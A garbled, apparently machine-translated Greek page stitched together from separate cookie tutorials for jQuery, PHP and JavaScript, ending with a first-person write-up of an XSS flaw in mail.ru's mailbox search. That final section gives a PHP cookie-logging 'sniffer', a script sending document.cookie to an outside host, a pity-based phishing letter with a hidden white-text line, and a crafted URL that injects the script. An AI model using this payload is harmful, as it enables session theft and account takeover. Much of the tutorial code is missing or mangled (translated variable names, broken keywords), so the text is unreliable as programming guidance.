Cookies - ρύθμιση. Js Μέθοδοι κλοπής cookie Ρύθμιση cookie

Μάλλον αξίζει να ξεκινήσετε με το τι είναι τα cookies και σε τι χρησιμεύουν. Ένα cookie είναι ένα κομμάτι δεδομένων που μπορεί να αποθηκευτεί στην πλευρά του χρήστη και να χρησιμοποιηθεί αργότερα για την υλοποίηση των ιδεών του.

Φανταστείτε ότι ο ιστότοπός σας έχει τη δυνατότητα να επιλέξει το συνδυασμό χρωμάτων του ιστότοπου. Είναι πολύ βολικό να το εφαρμόσετε σε cookies, καθώς το θέμα που θα επιλέξει θα είναι ορατό μόνο σε αυτόν.

Τα cookies υπάρχουν τόσο στην PHP όσο και στην jQuery. Ως εκ τούτου, θα εξετάσουμε κάθε περίπτωση με περισσότερες λεπτομέρειες.

Αναλυτικές οδηγίες για την εργασία με cookies στο jQuery

1. Ρύθμιση cookie

Τώρα μπορούμε να προσπαθήσουμε να δημιουργήσουμε το πρώτο μας cookie:

Τι είναι εδώ;

« cookie_name» – όνομα cookie.

« cookie_value» – τιμή cookie.

« λήγει” – ο αριθμός των ημερών αποθήκευσης του cookie (στην περίπτωσή μας, 3 ημέρες). Μετά από αυτό το διάστημα, τα cookies θα διαγραφούν αυτόματα.

« μονοπάτι" - η διαθεσιμότητα των cookies στον ιστότοπο (στην περίπτωσή μας, " / - διαθέσιμο σε όλο τον ιστότοπο). Προαιρετικά, μπορείτε να ορίσετε μόνο μια συγκεκριμένη σελίδα ή ενότητα όπου θα είναι διαθέσιμα τα cookies, για παράδειγμα, " /ήχος/ροκ»;

« τομέα' είναι ο τομέας στον οποίο ισχύει το cookie. Εάν έχετε έναν υποτομέα, τότε μπορείτε να τον καθορίσετε σε αυτήν την παράμετρο, για παράδειγμα, " τομέας: "subdomain.your_site.com"", οπότε το cookie θα είναι διαθέσιμο μόνο στον τομέα " subdomain.your_site.ru»;

« ασφαλής' είναι μια παράμετρος που υποδεικνύει ότι το cookie πρέπει να μεταδοθεί μέσω του ασφαλούς πρωτοκόλλου https.

Εδώ, δεν είναι υποχρεωτικές όλες οι παράμετροι και για να ορίσετε cookies, αυτή η κατασκευή θα είναι αρκετή:

2. Λήψη ενός cookie

Η λήψη cookies είναι αρκετά απλή, μπορείτε να το κάνετε χρησιμοποιώντας τον κώδικα:

$.cookie("όνομα_cookie");

Αυτός ο κωδικός μπορεί να εκχωρηθεί σε μια μεταβλητή και να χρησιμοποιηθεί στις ανάγκες σας:

Συμφωνώ, είναι πολύ βολικό.

3. Αφαίρεση cookies

Για να διαγράψετε μια τιμή cookie, ορίστε την σε " μηδενικό»:

$.cookie("όνομα_cookie", null);

Σε αυτό, νομίζω, η γνωριμία με την εργασία με τα Cookies στο jQuery έχει τελειώσει. Αυτή η γνώση είναι αρκετή για να εφαρμόσετε τις ιδέες σας.

Αναλυτικές οδηγίες για την εργασία με Cookies στην PHP

Σε αντίθεση με την προηγούμενη επιλογή για εργασία με cookies, δεν χρειάζεται να συνδέσετε τίποτα εδώ.

1. Ρύθμιση cookie

Για να ορίσουμε cookies στην PHP, θα χρησιμοποιήσουμε την ενσωματωμένη συνάρτηση " setcookie»:

Τι είναι εδώ;

« cookie_name» – όνομα cookie.

« cookie_value» – τιμή cookie.

« time()+3600” – διάρκεια ζωής cookie σε δευτερόλεπτα (στην περίπτωσή μας, 1 ώρα). Αν ορίσουμε τη διάρκεια ζωής ίση με " 0 ”, τότε το cookie θα διαγραφεί μόλις κλείσει το πρόγραμμα περιήγησης.

« / ” – η ενότητα στην οποία είναι διαθέσιμα τα cookies (στην περίπτωσή μας, είναι διαθέσιμα σε ολόκληρο τον ιστότοπο). Εάν θέλετε να περιορίσετε την ενότητα στην οποία θα είναι διαθέσιμα τα cookies, τότε " / » αντικαταστήστε, για παράδειγμα, με « /ήχος/ροκ»;

« your_site.com» – ο τομέας στον οποίο θα είναι διαθέσιμο το cookie.

« αληθής' είναι μια παράμετρος που υποδεικνύει ότι το cookie είναι διαθέσιμο μόνο μέσω του ασφαλούς πρωτοκόλλου https. Διαφορετικά, η τιμή είναι ψευδής;

« ψευδής' είναι μια παράμετρος που υποδεικνύει ότι το cookie είναι διαθέσιμο σε γλώσσες δέσμης ενεργειών. Διαφορετικά, αληθές (διατίθεται μόνο μέσω http).

Και εδώ, επίσης, δεν απαιτούνται όλες οι παράμετροι και για να δημιουργήσετε ένα cookie, θα χρειαστείτε την ακόλουθη κατασκευή:

Για ευκολία, η τιμή του cookie μπορεί να οριστεί μέσω μιας μεταβλητής:

2. Λήψη ενός cookie

Για να λάβετε cookies, πρέπει να χρησιμοποιήσετε:

$_COOKIE["όνομα_cookie"];

Για να αποφύγετε σφάλματα λόγω πιθανής απουσίας cookies, χρησιμοποιήστε:

Όπως και στο προηγούμενο παράδειγμα jQuery Cookie, τα cookies μπορούν να εκχωρηθούν σε μια μεταβλητή:

3. Αφαίρεση cookies

Η διαγραφή των cookies στην PHP είναι εξίσου εύκολη με το jQuery. Το μόνο που έχετε να κάνετε είναι να ορίσετε το cookie σε μια κενή τιμή και έναν αρνητικό χρόνο (χρόνος που έχει ήδη παρέλθει):

Setcookie("όνομα_cookie", "", time() - 3600);

Χρόνος μέσα αυτό το παράδειγμαισούται με μια ώρα πριν, που είναι αρκετό για να διαγράψετε τα cookies.

Θέλω να σημειώσωότι σε ορισμένες περιπτώσεις η χρήση των cookies είναι πολύ πιο ορθολογική από τη χρήση της βάσης δεδομένων για την υλοποίηση της απαραίτητης λειτουργικότητας.

Τελευταία ενημέρωση: 1.11.2015

Μία από τις δυνατότητες αποθήκευσης δεδομένων σε javascript είναι η χρήση cookies. Η ιδιότητα cookie προορίζεται να λειτουργεί με cookies στο αντικείμενο εγγράφου.

Για να ορίσετε cookie, αρκεί να αντιστοιχίσετε μια συμβολοσειρά με cookies στην ιδιότητα document.cookie:

Σε αυτήν την περίπτωση, ορίζεται ένα cookie που ονομάζεται "login", το οποίο έχει την τιμή "tom32". Και στα περισσότερα προγράμματα περιήγησης, μπορούμε να το προβάλουμε, να μάθουμε όλες τις πληροφορίες σχετικά με αυτό και, στη συνέχεια, να το χρησιμοποιήσουμε στην εφαρμογή:

Η συμβολοσειρά cookie δέχεται έως και έξι διαφορετικές παραμέτρους: όνομα cookie, τιμή, ημερομηνία λήξης (λήγει), διαδρομή (διαδρομή), τομέας (τομέας) και ασφαλής. Μόνο δύο παράμετροι χρησιμοποιήθηκαν παραπάνω: το όνομα του cookie και η τιμή. Δηλαδή, στην περίπτωση της συμβολοσειράς "login=tom32;" Το cookie έχει το όνομα login και την τιμή tom32.

Ωστόσο, τέτοια cookie έχουν πολύ περιορισμένη διάρκεια ζωής: εάν δεν ορίσετε ρητά ημερομηνία λήξης, το cookie θα διαγραφεί όταν κλείσει το πρόγραμμα περιήγησης. Αυτή η κατάσταση είναι ίσως ιδανική για περιπτώσεις όπου πρέπει να διαγράψετε όλες τις πληροφορίες αφού βγείτε από την εφαρμογή web και κλείσετε το πρόγραμμα περιήγησης. Ωστόσο, αυτή η συμπεριφορά δεν είναι πάντα κατάλληλη.

Και σε αυτήν την περίπτωση, πρέπει να ορίσουμε την παράμετρο expires, δηλαδή την ημερομηνία λήξης του cookie:

Δηλαδή, το cookie σύνδεσης λήγει τη Δευτέρα 31 Αυγούστου 2015 στις 00:00. Η μορφή της παραμέτρου expires είναι πολύ σημαντική. Ωστόσο, μπορεί να δημιουργηθεί μέσω προγραμματισμού. Για να γίνει αυτό, μπορούμε να χρησιμοποιήσουμε τη μέθοδο toUTCString() του αντικειμένου Date:

var expire = new Date(); expire.setHours(expire.getHours() + 4); document.cookie = "login=tom32;expires=" + expire.toUTCString() + ";";

Σε αυτή την περίπτωση, η διάρκεια του cookie θα είναι 4 ώρες.

Εάν πρέπει να ορίσουμε cookies για μια συγκεκριμένη διαδρομή στον ιστότοπο, τότε μπορούμε να χρησιμοποιήσουμε την παράμετρο διαδρομής. Για παράδειγμα, θέλουμε να ορίσουμε cookies μόνο για τη διαδρομή www.mysite.com/home:

Σε αυτήν την περίπτωση, για άλλες διαδρομές στον ιστότοπο, για παράδειγμα, www.mysite.com/shop, αυτά τα cookies δεν θα είναι διαθέσιμα.

Εάν ο ιστότοπός μας έχει πολλούς τομείς και θέλουμε να ορίσουμε cookie απευθείας για έναν συγκεκριμένο τομέα, τότε μπορεί να χρησιμοποιηθεί η παράμετρος τομέα. Για παράδειγμα, έχουμε έναν υποτομέα στον ιστότοπό μας blog.mysite.com:

Document.cookie = "login=tom32;λήγει=Δευτ., 31 Αυγούστου 2015 00:00:00 GMT;path=/;domain=blog.mysite.com;";

Η παράμετρος path=/ καθορίζει ότι τα cookies θα είναι διαθέσιμα για όλους τους καταλόγους και τις διαδρομές του υποτομέα blog.mysite.com.

Η τελευταία παράμετρος - safe καθορίζει τη χρήση του SSL (SecureSockets Layer) και είναι κατάλληλη για τοποθεσίες που χρησιμοποιούν το πρωτόκολλο https. Εάν αυτή η παράμετρος οριστεί σε true , τότε τα cookies θα χρησιμοποιούνται μόνο κατά τη δημιουργία μιας ασφαλούς σύνδεσης ssl. Από προεπιλογή, αυτή η παράμετρος είναι ψευδής.

Document.cookie = "login=tom32;λήγει=Δευτ., 31 Αυγούστου 2015 00:00:00 GMT;path=/;domain=blog.mysite.com;secure=true;";

Λήψη cookies

Για την απλούστερη εξαγωγή cookies από το πρόγραμμα περιήγησης, αρκεί να ανατρέξετε στην ιδιότητα document.cookie:

var expire = new Date(); expire.setHours(expire.getHours() + 4); document.cookie = "city=Berlin;expires="+expire.toUTCString()+";"; document.cookie = "country=Germany;expires="+expire.toUTCString()+";"; document.cookie = "login=tom32;"; document.write(document.cookie);

Τρία cookie έχουν οριστεί εδώ και το πρόγραμμα περιήγησης θα εμφανίσει όλα αυτά τα cookies για εμάς:

Τα ανακτημένα cookies δεν περιλαμβάνουν τις παραμέτρους λήξης, διαδρομής, τομέα και ασφαλούς. Επιπλέον, τα ίδια τα cookies χωρίζονται με ερωτηματικά, επομένως πρέπει να κάνετε μερικούς ακόμα μετασχηματισμούς για να λάβετε το όνομα και την αξία τους:

Varcookies = document.cookie.split(";"); for(var i=0; i "); document.write("Τιμή: " + τιμή + "

"); }

Προετοιμασία: Andrey Kosyak Ημερομηνία δημοσίευσης: 22/12/2010

Στο πρώτο άρθρο Cookies - ψήνουμε μπισκότα, κοιτάξαμε τα μπισκότα από μεγάλη απόσταση, οπότε αν κατανοείτε τις γενικές έννοιες και τον σκοπό των μπισκότων, μπορείτε να προχωρήσετε απευθείας στο ψήσιμο (πήρα τον φούρνο), επομένως, βάζουμε ένα γαστρονομικό καπάκι και έλα πιο κοντά. Ας ψήσουμε!

Τέχνη. Παρασκευή

Γνωρίζετε ήδη ότι ένα cookie είναι μια συμβολοσειρά και γνωρίζετε επίσης πώς φαίνεται ένα cookie μέσα από τα μάτια ενός προγράμματος περιήγησης. Όταν εγκατασταθεί στο πρόγραμμα περιήγησης, το cookie μοιάζει με την ίδια συμβολοσειρά:

"Όνομα cookie= cookieValue; λήγει= Παρ, 21 Ιανουαρίου 2021 06:10:00 GMT; μονοπάτι= /; τομέα= lessons.website; ασφαλής= αλήθεια; "

Οι προϋποθέσεις για την ύπαρξη cookies καθορίζονται από πέντε παραμέτρους (ζευγές κλειδιού=τιμής) (ΣΗΜΑΝΤΙΚΟ! Κάθε μία πρέπει να ακολουθείται από έναν διαχωριστικό χαρακτήρα ";"), λάβετε υπόψη τις:

Γέμιση μπισκότων

"Όνομα cookie=cookieValue;" - η κύρια παράμετρος του cookie, χωρίς αυτό το cookie χάνει το νόημά του. Εδώ το cookieName είναι ένα μοναδικό όνομα για το cookie και το cookieValue είναι η πληροφορία (τιμή) που θα αποθηκεύσει. Κοιτώντας λίγο μπροστά, θα πείτε ότι η τιμή μπορεί να είναι οτιδήποτε, οποιαδήποτε δομή αποθηκευμένων δεδομένων που σας βολεύει (ναι, ακόμη και JSON), καθώς και οποιοιδήποτε χαρακτήρες σας αρέσουν. Το μόνο ζεύγος που απαιτείται κατά τη ρύθμιση των cookie.

Διάρκεια Ζωής

"λήγει= Παρ την καθορισμένη ημερομηνία, το cookie "θα πεθάνει για μεγάλο χρονικό διάστημα." Εάν αυτή η παράμετρος δεν έχει καθοριστεί, τότε το cookie θα ισχύει μόνο για τη διάρκεια της συνεδρίας, πράγμα που σημαίνει ότι όταν κλείσει το πρόγραμμα περιήγησης, θα διαγραφεί.

Το σημαντικό σημείο είναι η μορφή ημερομηνίας. Η ημερομηνία πρέπει να προσδιορίζεται ΜΟΝΟ σε μορφή κειμένου (Παρασκευή, 21 Ιανουαρίου 2021 06:10:00 GMT). Και πάλι, κοιτάζοντας λίγο μπροστά, θα πω ότι το αντικείμενο Date θα μας βοηθήσει σε αυτό, έχει όλα τα απαραίτητα εργαλεία.

Διαδρομή εγκατάστασης

"μονοπάτι=/" - αυτή η παράμετρος καθορίζει τη διαδρομή (κατάλογο) για την οποία ισχύει το cookie. Τώρα η διαδρομή έχει την τιμή "/", δεν είναι τίποτα άλλο από τον ριζικό κατάλογο, επομένως το cookie θα είναι αναγνώσιμο από όλους τους καταλόγους του ιστότοπου Εάν η πρόσβαση στο cookie πρέπει να περιοριστεί, τότε η παράμετρος διαδρομής απλώς δεν καθορίζεται ή καθορίζεται ένας κοινός γονικός κατάλογος σε αυτόν και το cookie θα οριστεί για έναν συγκεκριμένο κατάλογο, αλλά οι λεπτομέρειες είναι τέτοιες που το cookie θα είναι διαθέσιμο σε όλους τους υποκαταλόγους του, ταυτόχρονα δεν είναι ορατός σε παρακείμενους και γονικούς καταλόγους.

Σε τι χρησιμεύει αυτό; Φανταστείτε μια στοιχειώδη κατάσταση: ένα Internet cafe, πρώτα ήρθε ο χρήστης Vasya, δούλεψε με τη σελίδα του στο κοινωνικό δίκτυο και μετά ήρθε ο Petya και, στον ίδιο υπολογιστή, στο ίδιο δίκτυο, δούλεψε με τη σελίδα του. Οι σελίδες των μελών βρίσκονται στον ίδιο τομέα, αλλά συνήθως βρίσκονται σε παρακείμενους καταλόγους. Για παράδειγμα: η σελίδα του Vasya είναι http://socset.com/vasya, η σελίδα του Petya είναι http://socset.com/petya. Μπορείτε να φανταστείτε τι χάος θα επικρατήσει εάν εγκατασταθούν cookies στον ριζικό κατάλογο: η Vasya θα μπορεί να λειτουργεί με τα cookies του Petya και αντίστροφα. Δεν νομίζω ότι θα αρέσει ούτε στον έναν ούτε στον άλλον. Επομένως, σε αυτήν την περίπτωση, θα είναι σκόπιμο τα cookies να συνδέονται μόνο με τον κατάλογο ενός συγκεκριμένου χρήστη, επομένως, σε όλους τους υποκαταλόγους του.

Τομέα

"τομέα=lessons.site" - αυτό το ζεύγος ορίζει τον τομέα στον οποίο τα cookie είναι έγκυρα. Κατά κανόνα, σπάνια χρειάζεται να το χρησιμοποιήσετε ρητά. Η κατάσταση με αυτήν την παράμετρο είναι παρόμοια με την κατάσταση με την παράμετρο διαδρομής, με τη διαφορά ότι στον τομέα λειτουργούμε με τομείς και υποτομείς και όχι καταλόγους Π.χ., σε αυτήν την περίπτωση, τα cookies έχουν οριστεί για τα μαθήματα υποτομέα..ιστοσελίδα. Εάν η παράμετρος δεν έχει καθοριστεί, τότε η διεύθυνση τομέα του εγγράφου χρησιμοποιείται από προεπιλογή.

Ασφάλεια

"ασφαλής=true" είναι μια ρύθμιση ασφαλείας. Εάν αυτή η ρύθμιση οριστεί σε true, το πρόγραμμα περιήγησης θα στείλει cookie μόνο στον διακομιστή που τα ζητά μέσω ασφαλούς καναλιού (SSL). Αυτή η ρύθμιση χρησιμοποιείται επίσης σπάνια. Η προεπιλεγμένη τιμή είναι false.

Η πρώτη τηγανίτα είναι σβόλου;

Τώρα ας προσπαθήσουμε να αντιμετωπίσουμε το πρόγραμμα περιήγησής μας με ένα cookie. Το αντικείμενο document.cookie θα μας βοηθήσει σε αυτό:

Document.cookie = "firstCookie=First pancake lumpy?; expires=Pari, 21 Jan 2021 06:10:00 GMT; path=/;";

Το αποτέλεσμα μπορεί να φανεί ανοίγοντας την ενότητα cookies στο πρόγραμμα περιήγησής σας ή απλά:

Document.cookie = "firstCookie=First pancake lumpy?; expires=Pari, 21 Jan 2021 06:10:00 GMT; path=/;"; alert(document.cookie);

Και καθόλου σβώλους! Όλα βουίζουν, το μπισκότο είναι στη θέση του.

Το σημείωμα

Εφιστώ την προσοχή σας στην ιδιαιτερότητα των προγραμμάτων περιήγησης στο WebKit. Αρνούνται να ορίσουν cookies εάν το έγγραφο ανοίξει τοπικά. Συνήθως χρησιμοποιώ έναν τοπικό διακομιστή σε τέτοιες περιπτώσεις, θα χρειαστεί επίσης όταν εργάζομαι με AJAX. Επομένως, όπως λένε, ένα must have! Για παράδειγμα, Denwer (σύνδεσμος στο τέλος του άρθρου).

Περισσότερα cookies

Καταλάβαμε ένα μπισκότο. Τι γίνεται όμως αν χρειαστεί να αποθηκεύσετε, για παράδειγμα, δεδομένα από μια φόρμα (σύνδεση, e-mail, αριθμό τηλεφώνου κ.λπ.); Σε αυτή την περίπτωση, μπορείτε να κάνετε αυτό:

Document.cookie = "myLogin=Η σύνδεσή μου; λήγει=Παρασκευή, 21 Ιανουαρίου 2021 06:10:00 GMT; διαδρομή=/;"; document.cookie = " [email προστατευμένο]; λήγει=Παρασκευή, 21 Ιανουαρίου 2021 06:10:00 GMT; path=/;"; document.cookie = "myPhone=1234567; λήγει=Παρασκευή, 21 Ιανουαρίου 2021 06:10:00 GMT; διαδρομή=/;";

Έτσι, έχουμε τρία cookies που αποθηκεύουν το όνομα χρήστη, τη διεύθυνση email και τον αριθμό τηλεφώνου, αντίστοιχα. Ωστόσο, θυμάστε τους περιορισμούς στον αριθμό των cookies από έναν τομέα, καθώς και στον συνολικό αριθμό τους; Αυτό σημαίνει ότι μπορούμε να αποθηκεύσουμε μόνο έναν περιορισμένο αριθμό τιμών για πεδία με αυτόν τον τρόπο. Και αν ένας τέτοιος περιορισμός μας «δέσει» τα χέρια, μπορούμε να το κάνουμε αυτό:

Var formData = escape("Η σύνδεσή μου; [email προστατευμένο];1234567"); document.cookie = "myFormCookie="+formData+"; λήγει=Παρασκευή, 21 Ιανουαρίου 2021 06:10:00 GMT; διαδρομή=/;";

Ως αποτέλεσμα, έχουμε 1 χρησιμοποιημένο μέρος για cookies. "Κόλλησα" όλα τα δεδομένα σε μία μεταβλητή και τα χώρισα με το σύμβολο ";", ωστόσο, οποιοδήποτε σύμβολο μπορεί να χρησιμοποιηθεί ως διαχωριστικό μέσα στη μεταβλητή, αυτή είναι ήδη η πρωτοβουλία μας, εδώ απλά πρέπει να βεβαιωθείτε ότι αυτό το διαχωριστικό δεν εμφανίζεται στις τιμές των πεδίων, διαφορετικά θα υπάρξουν δυσκολίες στο μέλλον όταν θα χρειαστεί να τα διαβάσετε. Σε αυτήν την περίπτωση, φυσικά, πρέπει να θυμάστε και το όριο μεγέθους cookie (4kb).

Γιατί η λειτουργία διαφυγής; Είναι αρκετά απλό, κωδικοποιεί την τιμή του cookie σε μια δεκαεξαδική αναπαράσταση. Για τι? Πρώτον, το πρόγραμμα περιήγησης στέλνει cookies στον διακομιστή και προκειμένου τα δεδομένα να διαβάζονται εξίσου σε διακομιστές σε οποιοδήποτε σύστημα, χρησιμοποιείται αυτή η κωδικοποίηση. Δεύτερον, εάν χρησιμοποιούμε τον οριοθέτη ";" σε μια μεταβλητή με τιμές πεδίων, εάν δεν κωδικοποιήσουμε αυτήν τη συμβολοσειρά, τότε το cookie, τουλάχιστον, απλά δεν θα ρυθμιστεί σωστά, επειδή το διαχωριστικό είναι ";" χρησιμοποιείται για τον διαχωρισμό των παραμέτρων του ίδιου του cookie. Αυτή η στιγμή πρέπει να υιοθετηθεί και, εφεξής, να χρησιμοποιείται από προεπιλογή κατά τη μετάδοση πληροφοριών (cookie, AJAX).

"...και δεν μπορείς να σταματήσεις τον χρόνο ούτε μια στιγμή"

Τώρα ας ασχοληθούμε με την παράμετρο expires. Η ταλαιπωρία είναι ότι μέχρι αυτό το σημείο έχουμε ορίσει χειροκίνητα τη διάρκεια ζωής για τα cookies. Όμως, σε πραγματικές συνθήκες, αυτή η προσέγγιση πρακτικά δεν είναι εφαρμόσιμη. Τουλάχιστον, γιατί με κάθε επόμενη επίσκεψη στον ιστότοπο, η διάρκεια ζωής των cookies θα πρέπει να παρατείνεται με κάποια σταθερή γραμμή, κάτι που, σε γενικές γραμμές, είναι δικαιολογημένο και λογικό. Επομένως, το αντικείμενο Date θα μας βοηθήσει πλήρως σε αυτό το θέμα:

Var formData = escape("Η σύνδεσή μου; [email προστατευμένο];1234567"); cookieExp = νέα Ημερομηνία(); // δημιουργία αντικειμένου ημερομηνίας cookieExp.setMonth(cookieExp.getMonth()+1); // ορίστε τον τρέχοντα μήνα και προσθέστε έναν άλλο σε αυτόν document.cookie = "myFormCookie= "+ formData+"; expires="+cookieExp.toGMTString()+"; διαδρομή=/;";

Με αυτές τις ενέργειες, ορίζουμε τη διάρκεια ζωής του cookie σε ακριβώς 1 μήνα. Δεν θα σταθώ λεπτομερώς στο αντικείμενο Date σε αυτό το άρθρο, θα περιγράψω μόνο το σχήμα για τον ορισμό της ημερομηνίας:

  • γραμμή 2: δήλωση του cookieExp ως αντικείμενο Date. Τώρα το cookieExp περιέχει την τρέχουσα ημερομηνία.
  • γραμμή 3: επαναφορά του cookieExp του μήνα. Χρησιμοποιώντας τη μέθοδο getMonth, ανακτούμε τον τρέχοντα μήνα και προσθέτουμε έναν άλλο σε αυτόν. Ως αποτέλεσμα, ο επόμενος μήνας θα γραφτεί στο cookieExp.
  • γραμμή 6: σε αυτή τη γραμμή χρησιμοποιούμε τη μέθοδο toGMTString() για να μετατρέψουμε την ημερομηνία σε μορφή κειμένου.

Έτσι, ανάλογα με τη διάρκεια ζωής του cookie που θέλετε να ορίσετε, μπορούν να χρησιμοποιηθούν άλλες μέθοδοι του αντικειμένου Date: από get/setMilliseconds() έως get/setFullYear() (από λήψη/ρύθμιση χιλιοστών του δευτερολέπτου έως λήψη/ρύθμιση του έτους).

Δεν έχει νόημα να δείξετε τις υπόλοιπες παραμέτρους, επιπλέον, οι προεπιλεγμένες τιμές τους στη συντριπτική πλειοψηφία των περιπτώσεων θα σας ταιριάζουν απόλυτα.

συμπέρασμα

Όπως μπορείτε να δείτε, η ρύθμιση των cookies δεν είναι κάτι υπερφυσικό, απλά πρέπει να θυμάστε (πότε επαναλαμβάνω τον εαυτό μου :)) τους περιορισμούς και όλα θα είναι τύπου tipi, καλά ή topi-top. Το επόμενο υλικό θα αφορά το πώς θα βγάλουμε τα μπισκότα μας από τον φούρνο. Εδώ πρέπει να σκεφτείς λίγο.

Πού να πάτε

  • επόμενο - Cookies - ανάκτηση
  • προηγούμενο -

Πριν από λίγο καιρό διάβασα μια ανάρτηση στο Habré, η οποία πρότεινε να παρακολουθήσετε μια δωρεάν εκδήλωση αφιερωμένη σε θέματα ασφάλειας πληροφοριών. Δεδομένου ότι η εκδήλωση πραγματοποιήθηκε στην πόλη μου, αποφάσισα ότι έπρεπε να πάω εκεί χωρίς αποτυχία. Το πρώτο μάθημα ήταν αφιερωμένο σε ευπάθειες σε ιστότοπους όπως το XSS. Μετά το μάθημα, αποφάσισα ότι έπρεπε να εμπεδώσω τις αποκτηθείσες γνώσεις σε πραγματικές συνθήκες. Επέλεξα για τον εαυτό μου αρκετές τοποθεσίες που σχετίζονται με την πόλη μου και άρχισα να προσπαθώ να κολλήσω το σενάριό μου σε όλες τις μορφές. Στις περισσότερες περιπτώσεις, το σενάριο φιλτραρίστηκε. Αλλά συνέβη ότι η "ειδοποίηση" λειτούργησε και εμφανίστηκε το μήνυμά μου. Ανέφεραν την ευπάθεια που βρέθηκε στους διαχειριστές και διόρθωσαν γρήγορα τα πάντα.

Μια από αυτές τις μέρες, ενώ έλεγξα νέα αλληλογραφία στο mail.ru, βρήκα μια φόρμα αναζήτησης επιστολών στο γραμματοκιβώτιο. Περιστασιακά χρησιμοποιούσα αυτήν την αναζήτηση για να βρω κάτι που χρειαζόμουν σε ένα σωρό από τα παλιά μου γράμματα. Λοιπόν, αφού τις τελευταίες δύο μέρες έχω εισαγάγει την «ειδοποίηση» μου σχεδόν παντού που μπορούσα, το χέρι μου άπλωσε αντανακλαστικά αυτή τη φόρμα αναζήτησης. Πληκτρολογούσα τον κωδικό σεναρίου μου και πάτησα Enter. Φανταστείτε την έκπληξή μου όταν είδα ένα οδυνηρά οικείο μήνυμα στην οθόνη...


Στη διάλεξη του Open InfoSec Days, ο ομιλητής είπε ότι οι προγραμματιστές είναι μάλλον δύσπιστοι σχετικά με τα τρωτά σημεία αυτού του είδους, λένε, «σε εγρήγορση; Λοιπόν, τι; Αυτό δεν είναι επικίνδυνο». Εάν σε άλλους ιστότοπους αρκούσα μόνο σε αυτό το παράθυρο με το μήνυμά μου, τότε σε αυτήν την περίπτωση αποφάσισα να προχωρήσω περισσότερο και να δείξω τι θα μπορούσε να προκύψει από μια τέτοια "ειδοποίηση".

Έτσι, το σενάριο λειτουργεί, πράγμα που σημαίνει ότι υπάρχει μια ευπάθεια. Επομένως, μπορείτε να δοκιμάσετε να εκτελέσετε κάποιο άλλο σενάριο. Για παράδειγμα, ένα σενάριο που μας μεταβιβάζει τα cookie άλλου χρήστη. Για να λειτουργήσει το σενάριο, πρέπει να αναγκάσουμε τον χρήστη να εκτελέσει το σενάριό μας. Αυτό μπορεί να γίνει στέλνοντάς του ένα γράμμα με τον κατάλληλο σύνδεσμο, αφού κάνουμε κλικ στο οποίο θα γίνει αναζήτηση του γραμματοκιβωτίου και θα εκτελεστεί ο κωδικός που χρειαζόμαστε.

Χρειάστηκε λίγος χρόνος και πολύς πειραματισμός για να κατανοήσουμε τους μηχανισμούς της ευπάθειας. Άλλοτε το σενάριο δούλευε, άλλοτε φιλτραρίστηκε. Μετά από κάποια προσπάθεια, εμπειρικά, διαπιστώθηκε ότι το σενάριο λειτουργεί 100% μόνο αν η αναζήτηση γραμμάτων δώσει θετικό αποτέλεσμα. Δηλαδή, όταν ένας χρήστης πραγματοποιεί αναζήτηση με το σενάριό μας, είναι απαραίτητο να βρεθεί τουλάχιστον ένα γράμμα στο γραμματοκιβώτιό του σύμφωνα με τις καθορισμένες παραμέτρους. Δεν είναι δύσκολο να το ρυθμίσεις.

if (isset($_GET["cookie"]))
{
$text = "Αποδοχή νέου cookie από ". $_SERVER["REMOTE_ADDR"] ." στο ". date("l jS \of F Y h:i:s A");
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET["cookie"]."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($αρχείο, $κείμενο);
fclose($αρχείο);
}
?>

Επίσης, αντί για "ειδοποίηση", χρειαζόμαστε ένα σενάριο που θα μεταφέρει τα cookies στο sniffer μας. Θα γράψουμε αυτό το σενάριο σε ξεχωριστό αρχείο και θα το ανεβάσουμε στην αναζήτησή μας. Δημιούργησε ένα αρχείο test.js με ο σωστός κωδικόςκαι ανέβηκε στο hosting. Ο κώδικας του σεναρίου είναι αυτός:

Img=newImage();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
συνάρτηση F() (
location="http://www.solife.ru";
}
setTimeout(F, 5000);

Τι θα ήθελα να εξηγήσω εδώ. Ας μπούμε στη θέση του επιθετικού. Ο χρήστης πρέπει να κάνει κλικ στον σύνδεσμο. Πώς να τον κάνεις να το κάνει; Μπορείτε να υποσχεθείτε βουνά από χρυσό και για να τα αποκτήσετε πρέπει να ακολουθήσετε τον σύνδεσμό μας στον ιστότοπο. Αλλά δεν νομίζω ότι θα λειτουργήσει. Ο κόσμος δεν είναι πλέον σε αυτό (εγώ ο ίδιος διαγράφω συνεχώς τέτοια γράμματα, χωρίς καν να τα διαβάζω). Επομένως, θα παίξουμε με τον ανθρώπινο οίκτο, αφού υπάρχει ακόμα στη φύση. Θα σας ζητήσουμε να ψηφίσετε στο site για τη σωτηρία των εξοντωμένων ζώων. Αρχικά, θα πάρουμε τα cookies και στη συνέχεια θα ανακατευθύνουμε τον χρήστη στον ιστότοπο ψηφοφορίας. Το χρονικό όριο ανακατεύθυνσης ορίστηκε στα 5 δευτερόλεπτα, διαφορετικά τα cookies απλά δεν είχαν χρόνο να μεταδοθούν στον sniffer και ο χρήστης μεταφέρθηκε αμέσως στον ιστότοπο για τα ζώα. Αντί για "ειδοποίηση" χρησιμοποίησα το ακόλουθο σενάριο:

Όταν τελείωσαν τα σενάρια, άρχισα να γράφω ένα γράμμα. Προέκυψε το ακόλουθο περιεχόμενο:


Αποδείχτηκε αρκετά κυνικά, αλλά προσπάθησα να φέρω τις συνθήκες πιο κοντά στο πιο ρεαλιστικό. Στο τέλος της επιστολής, έχει προστεθεί μια γραμμή με ένα σενάριο, για να βρεθεί το γράμμα μας όταν κάνουμε μια αναζήτηση. Για να μην προκαλεί περιττές ερωτήσεις η γραμμή, την έβαψα σε λευκό. Έβαλα και κενό στη λέξη "http" για να μην αναγνωρίζεται η συμβολοσειρά και να μην μετατρέπεται σε σύνδεσμο. Διαφορετικά, παρά το γεγονός ότι η γραμμή του σεναρίου είναι γραμμένη με λευκή γραμματοσειρά, ο σύνδεσμος θα τονιζόταν με μπλε στον παραλήπτη και δεν το χρειαζόμαστε. Η έξυπνη αναζήτηση θα εξακολουθεί να βρίσκει και να αναγνωρίζει αυτήν τη συμβολοσειρά, ανεξάρτητα από τα κενά.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

